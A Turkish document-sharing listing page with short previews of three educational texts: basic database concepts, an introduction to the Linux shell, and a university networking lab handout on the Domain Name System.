Genel Kavramlar. Bilgisayar ortamında işlenebilecek durumda bulunan kayıtlar. Birbiri ile ilişkili veriler topluluğu ve veriler arası ilişkiler Genel Kavramlar Veri Nedir? Bilgisayar ortamında işlenebilecek durumda bulunan kayıtlar Veri Tabanı Nedir? Birbiri ile ilişkili veriler topluluğu ve veriler arası ilişkiler Veritabanı Yönetim Sistemi (DBMS)Nedir?

Detaylı

Linux altında komut satırında...

Linux altında komut satırında... -Kabuk (Shell) Unix ve benzeri işletim sistemlerinde kullanıcının komut yazmasını sağlayan, bu komutları yorumlayarak gerekli işlemleri yapan programlara kabuk (shell) adı verilir. Linux da bir kullanıcı

Detaylı

BIL411 - BİLGİSAYAR AĞLARI LABORATUVARI

BIL411 - BİLGİSAYAR AĞLARI LABORATUVARI BIL411 - BİLGİSAYAR AĞLARI LABORATUVARI ITS-101A INTERNET EĞİTİM SİSTEMİ TCP/IP THE DOMAIN NAME SYSTEM (ALAN ADI SİSTEMİ) İstanbul Ticaret Üniversitesi Bilgisayar Mühendisliği Bölümü Araş. Gör. Can EYÜPOĞLU

Detaylı